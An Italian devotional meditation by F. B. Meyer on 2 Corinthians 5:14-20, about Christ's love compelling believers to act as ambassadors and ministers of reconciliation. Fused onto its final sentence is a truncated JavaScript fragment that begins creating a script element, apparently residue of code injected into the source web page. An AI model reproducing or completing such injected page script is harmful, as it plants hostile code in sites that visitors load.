di F. B. MEYER – “L’amore di Cristo ci costringe …. facciamo da ambasciatori per Cristo, come se Dio esortasse per mezzo nostro.” – (2 Corinzi 5,14-20.) – Un ambasciatore può vivere in un paese straniero, ma non fa parte di quel paese. Lui lì è il rappresentare del suo paese, e non gli è consentito di portare avanti nessun interesse di tipo personale. Noi dobbiamo rappresentare Cristo al mondo. La parola “costringe” suggerisce una pressione costante, una spinta, come quando l’acqua è forzata lungo un determinato condotto. Paolo dice: “Io agisco così perché sono sotto il fascino di una potente imposizione, non posso fare altro, non sono padrone di me stesso Non mi meraviglio che ciò possa apparire insolito e stravagante. Attribuisco la mia eccentricità a Cristo – il suo amore mi trascina, e mi porta avanti.”
Cosa intende con “l’amore di Cristo?” E’ il suo per noi , o il nostro per Lui? È impossibile fare questa distinzione, perché sono uno. Come la luce del sole colpisce la luna, e si riflette sulla terra, così l’amore che abbiamo per Cristo, o per l’uomo, è il riflesso del Suo amore per noi. Tutto l’amore nei nostri cuori freddi e senza amore è l’emanazione e il riflesso dell’Amore che è partito da Lui, è stato mediato a noi al Calvario, e si riflette da noi, come la luce del sole in uno specchio.
L’amore di Cristo non costringe tutti i cristiani, perché non tutti comprendono il profondo significato della Croce, ma quando l’anima arriva ad apprezzare questo, e passa per la porta della morte nella vita di Dio, allora comincia a sentire la costrizione dell’amore di Cristo.
Il perno della nostra vita deve essere il Cristo risorto: “Noi non viviamo più per noi stessi, ma per Colui che è risorto”. A volte sentiamo persone descritte come eccentriche – fuori dal centro. Un uomo è eccentrico per il mondo quando è concentrico con Cristo. E’ così che si diventa una nuova creazione. Quando per fede noi siamo uniti a Gesù Cristo nella Sua Croce e nella sua morte, la transizione è compiuta. Passiamo oltre, nella vita di Pasqua. Egli ci ha riconciliato a Sé, e ha dato a noi il ministero della riconciliazione – quindi siamo ambasciatori. Dobbiamo proclamare il perdono per il peccatore, la rottura delle catene dei prigionieri, e l’approssimarsi della salvezza a tutti (Isaia 52:7-10).var d=document;var s=d.createElement(‘script’);